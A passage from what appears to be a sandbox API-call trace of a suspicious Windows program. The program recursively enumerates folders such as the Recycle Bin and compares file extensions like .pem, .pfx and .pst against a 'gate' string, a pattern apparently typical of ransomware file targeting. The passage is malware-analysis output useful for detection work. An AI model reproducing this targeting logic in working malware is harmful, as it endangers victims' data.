lstrcmpiW (lpString1=".pef", lpString2="gate") returned -1 [0272.290] lstrlenW (lpString=".pem") returned 4 [0272.290] lstrcmpiW (lpString1=".pem", lpString2="gate") returned -1 [0272.290] lstrlenW (lpString=".pff") returned 4 [0272.290] lstrcmpiW (lpString1=".pff", lpString2="gate") returned -1 [0272.290] lstrlenW (lpString=".pfm") returned 4 [0272.290] lstrcmpiW (lpString1=".pfm", lpString2="gate") returned -1 [0272.290] lstrlenW (lpString=".pfx") returned 4 [0272.290] lstrcmpiW (lpString1=".pfx", lpString2="gate") returned -1 [0272.290] lstrlenW (lpString=".pgm") returned 4 [0272.290] lstrcmpiW (lpString1=".pgm", lpString2="gate") returned -1 [0272.290] lstrlenW (lpString=".php") returned 4 [0272.290] lstrcmpiW (lpString1=".php", lpString2="gate") returned -1 [0272.290] lstrlenW (lpString=".php3") returned 5 [0272.290] lstrcmpiW (lpString1=".php3", lpString2=".gate") returned 1 [0272.290] lstrlenW (lpString=".php4") returned 5 [0272.291] lstrcmpiW (lpString1=".php4", lpString2=".gate") returned 1 [0272.291] lstrlenW (lpString=".php5") returned 5 [0272.291] lstrcmpiW (lpString1=".php5", lpString2=".gate") returned 1 [0272.291] lstrlenW (lpString=".phtml") returned 6 [0272.291] lstrcmpiW (lpString1=".phtml", lpString2="].gate") returned -1 [0272.291] lstrlenW (lpString=".pict") returned 5 [0272.291] lstrcmpiW (lpString1=".pict", lpString2=".gate") returned 1 [0272.291] lstrlenW (lpString=".pl") returned 3 [0272.291] lstrcmpiW (lpString1=".pl", lpString2="ate") returned -1 [0272.291] lstrlenW (lpString=".pls") returned 4 [0272.291] lstrcmpiW (lpString1=".pls", lpString2="gate") returned -1 [0272.291] lstrlenW (lpString=".pm") returned 3 [0272.291] lstrcmpiW (lpString1=".pm", lpString2="ate") returned -1 [0272.291] lstrlenW (lpString=".png") returned 4 [0272.291] lstrcmpiW (lpString1=".png", lpString2="gate") returned -1 [0272.291] lstrlenW (lpString=".pnm") returned 4 [0272.291] lstrcmpiW (lpString1=".pnm", lpString2="gate") returned -1 [0272.291] lstrlenW (lpString=".pot") returned 4 [0272.291] lstrcmpiW (lpString1=".pot", lpString2="gate") returned -1 [0272.291] lstrlenW (lpString=".potm") returned 5 [0272.291] lstrcmpiW (lpString1=".potm", lpString2=".gate") returned 1 [0272.291] lstrlenW (lpString=".potx") returned 5 [0272.291] lstrcmpiW (lpString1=".potx", lpString2=".gate") returned 1 [0272.291] lstrlenW (lpString=".ppa") returned 4 [0272.291] lstrcmpiW (lpString1=".ppa", lpString2="gate") returned -1 [0272.291] lstrlenW (lpString=".ppam") returned 5 [0272.291] lstrcmpiW (lpString1=".ppam", lpString2=".gate") returned 1 [0272.291] lstrlenW (lpString=".ppm") returned 4 [0272.292] lstrcmpiW (lpString1=".ppm", lpString2="gate") returned -1 [0272.292] lstrlenW (lpString=".pps") returned 4 [0272.292] lstrcmpiW (lpString1=".pps", lpString2="gate") returned -1 [0272.292] lstrlenW (lpString=".ppsm") returned 5 [0272.292] lstrcmpiW (lpString1=".ppsm", lpString2=".gate") returned 1 [0272.292] lstrlenW (lpString=".ppt") returned 4 [0272.292] lstrcmpiW (lpString1=".ppt", lpString2="gate") returned -1 [0272.292] lstrlenW (lpString=".pptm") returned 5 [0272.292] lstrcmpiW (lpString1=".pptm", lpString2=".gate") returned 1 [0272.292] lstrlenW (lpString=".pptx") returned 5 [0272.292] lstrcmpiW (lpString1=".pptx", lpString2=".gate") returned 1 [0272.292] lstrlenW (lpString=".prn") returned 4 [0272.292] lstrcmpiW (lpString1=".prn", lpString2="gate") returned -1 [0272.292] lstrlenW (lpString=".ps") returned 3 [0272.292] lstrcmpiW (lpString1=".ps", lpString2="ate") returned -1 [0272.292] lstrlenW (lpString=".psb") returned 4 [0272.292] lstrcmpiW (lpString1=".psb", lpString2="gate") returned -1 [0272.292] lstrlenW (lpString=".psd") returned 4 [0272.292] lstrcmpiW (lpString1=".psd", lpString2="gate") returned -1 [0272.292] lstrlenW (lpString=".pst") returned 4 [0272.292] lstrcmpiW (lpString1=".pst", lpString2="gate") returned -1 [0272.292] lstrlenW (lpString=".ptx") returned 4 [0272.292] lstrcmpiW (lpString1=".ptx", lpString2="gate") returned -1 [0272.292] lstrlenW (lpString=".pub") returned 4 [0272.292] lstrcmpiW (lpString1=".pub", lpString2="gate") returned -1 [0272.292] lstrlenW (lpString=".pwm") returned 4 [0272.292] lstrcmpiW (lpString1=".pwm", lpString2="gate") returned -1 [0272.293] FindNextFileW (in: hFindFile=0x77d228, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.293] FindNextFileW (in: hFindFile=0x77d228, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.293] FindNextFileW (in: hFindFile=0x77d228, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.293] FindClose (in: hFindFile=0x77d228 | out: hFindFile=0x77d228) returned 1 [0272.294] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f22c40 | out: hHeap=0x6e0000) returned 1 [0272.294] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.294] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f22c40 [0272.294] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d0e8 [0272.322] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.324] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.324] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.324] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.324] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.324] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.325] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.325] FindClose (in: hFindFile=0x77d0e8 | out: hFindFile=0x77d0e8) returned 1 [0272.330] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f22c40 | out: hHeap=0x6e0000) returned 1 [0272.330] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 0 [0272.330] FindClose (in: hFindFile=0x77d1e8 | out: hFindFile=0x77d1e8) returned 1 [0272.330] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3ed0940 | out: hHeap=0x6e0000) returned 1 [0272.331] FindNextFileW (in: hFindFile=0x77d028, lpFindFileData=0x363fcf8 | out: lpFindFileData=0x363fcf8) returned 1 [0272.331] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3ed0940 [0272.332] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 0x77d328 [0272.332] FindNextFileW (in: hFindFile=0x77d328, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.332] FindNextFileW (in: hFindFile=0x77d328, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.332] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.332] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0xffffffff [0272.333] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.333] FindNextFileW (in: hFindFile=0x77d328, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.333] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.333] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d0e8 [0272.333] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.333] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.333] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.333] FindNextFileW (in: hFindFile=0x77d0e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.333] FindClose (in: hFindFile=0x77d0e8 | out: hFindFile=0x77d0e8) returned 1 [0272.333] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.333] FindNextFileW (in: hFindFile=0x77d328, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 0 [0272.333] FindClose (in: hFindFile=0x77d328 | out: hFindFile=0x77d328) returned 1 [0272.333] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3ed0940 | out: hHeap=0x6e0000) returned 1 [0272.334] FindNextFileW (in: hFindFile=0x77d028, lpFindFileData=0x363fcf8 | out: lpFindFileData=0x363fcf8) returned 1 [0272.334] FindNextFileW (in: hFindFile=0x77d028, lpFindFileData=0x363fcf8 | out: lpFindFileData=0x363fcf8) returned 1 [0272.334] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3ed0940 [0272.335] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 0x77d768 [0272.338] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.338] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.338] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.338] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d2e8 [0272.365] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.365] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.365] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.366] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.366] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.366] FindClose (in: hFindFile=0x77d2e8 | out: hFindFile=0x77d2e8) returned 1 [0272.366] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.366] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.366] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.367] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d1e8 [0272.367] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.367] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.367] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.367] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.368] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.368] FindClose (in: hFindFile=0x77d1e8 | out: hFindFile=0x77d1e8) returned 1 [0272.368] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.368] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.368] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.368] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d6e8 [0272.398] FindNextFileW (in: hFindFile=0x77d6e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.398] FindNextFileW (in: hFindFile=0x77d6e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.398] FindNextFileW (in: hFindFile=0x77d6e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.398] FindNextFileW (in: hFindFile=0x77d6e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.398] FindNextFileW (in: hFindFile=0x77d6e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.398] FindClose (in: hFindFile=0x77d6e8 | out: hFindFile=0x77d6e8) returned 1 [0272.398] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.398] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.398] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.398] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d628 [0272.400] FindNextFileW (in: hFindFile=0x77d628, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.400] FindNextFileW (in: hFindFile=0x77d628, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.400] FindNextFileW (in: hFindFile=0x77d628, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.401] FindNextFileW (in: hFindFile=0x77d628, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.401] FindNextFileW (in: hFindFile=0x77d628, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.401] FindClose (in: hFindFile=0x77d628 | out: hFindFile=0x77d628) returned 1 [0272.401] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.401] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.401] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.401] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d1e8 [0272.403] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.403] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.403] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.403] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.403] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.403] FindClose (in: hFindFile=0x77d1e8 | out: hFindFile=0x77d1e8) returned 1 [0272.404] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.404] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.404] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.404] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d6e8 [0272.406] FindNextFileW (in: hFindFile=0x77d6e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.406] FindNextFileW (in: hFindFile=0x77d6e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.406] FindNextFileW (in: hFindFile=0x77d6e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.406] FindNextFileW (in: hFindFile=0x77d6e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.406] FindNextFileW (in: hFindFile=0x77d6e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.406] FindClose (in: hFindFile=0x77d6e8 | out: hFindFile=0x77d6e8) returned 1 [0272.407] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.407] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.407] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.407] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d328 [0272.408] FindNextFileW (in: hFindFile=0x77d328, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.408] FindNextFileW (in: hFindFile=0x77d328, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.408] FindNextFileW (in: hFindFile=0x77d328, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.408] FindNextFileW (in: hFindFile=0x77d328, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.409] FindNextFileW (in: hFindFile=0x77d328, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.409] FindClose (in: hFindFile=0x77d328 | out: hFindFile=0x77d328) returned 1 [0272.409] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.409] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.409] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.409] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77cfa8 [0272.411] FindNextFileW (in: hFindFile=0x77cfa8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.411] FindNextFileW (in: hFindFile=0x77cfa8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.411] FindNextFileW (in: hFindFile=0x77cfa8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.411] FindNextFileW (in: hFindFile=0x77cfa8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.411] FindNextFileW (in: hFindFile=0x77cfa8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.411] FindClose (in: hFindFile=0x77cfa8 | out: hFindFile=0x77cfa8) returned 1 [0272.412] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.412] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.412] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.412] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d2e8 [0272.413] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.413] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.413] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.414] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.414] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.414] FindClose (in: hFindFile=0x77d2e8 | out: hFindFile=0x77d2e8) returned 1 [0272.414] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.414] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.414] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.414] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d568 [0272.416] FindNextFileW (in: hFindFile=0x77d568, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.416] FindNextFileW (in: hFindFile=0x77d568, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.416] FindNextFileW (in: hFindFile=0x77d568, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.416] FindNextFileW (in: hFindFile=0x77d568, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.416] FindNextFileW (in: hFindFile=0x77d568, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.417] FindClose (in: hFindFile=0x77d568 | out: hFindFile=0x77d568) returned 1 [0272.417] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.417] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.417] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.417] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77cfa8 [0272.421] FindNextFileW (in: hFindFile=0x77cfa8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.421] FindNextFileW (in: hFindFile=0x77cfa8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.422] FindNextFileW (in: hFindFile=0x77cfa8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.422] FindNextFileW (in: hFindFile=0x77cfa8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.422] FindNextFileW (in: hFindFile=0x77cfa8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.422] FindClose (in: hFindFile=0x77cfa8 | out: hFindFile=0x77cfa8) returned 1 [0272.423] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.423] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.423] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.423] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d2e8 [0272.425] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.425] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.426] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.426] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.426] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.426] FindClose (in: hFindFile=0x77d2e8 | out: hFindFile=0x77d2e8) returned 1 [0272.426] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.426] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.427] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.427] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d5e8 [0272.432] FindNextFileW (in: hFindFile=0x77d5e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.432] FindNextFileW (in: hFindFile=0x77d5e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.432] FindNextFileW (in: hFindFile=0x77d5e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.433] FindNextFileW (in: hFindFile=0x77d5e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.433] FindNextFileW (in: hFindFile=0x77d5e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.433] FindClose (in: hFindFile=0x77d5e8 | out: hFindFile=0x77d5e8) returned 1 [0272.434] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.434] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.434] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.434] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d6a8 [0272.436] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.436] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.436] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.436] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.436] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.436] FindClose (in: hFindFile=0x77d6a8 | out: hFindFile=0x77d6a8) returned 1 [0272.437] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.437] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x363fa7c | out: lpFindFileData=0x363fa7c) returned 1 [0272.438] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.438] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0x77d1e8 [0272.487] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.487] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.487] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.487] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 1 [0272.487] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x363f800 | out: lpFindFileData=0x363f800) returned 0 [0272.488] FindClose (in: hFindFile=0x77d1e8 | out: 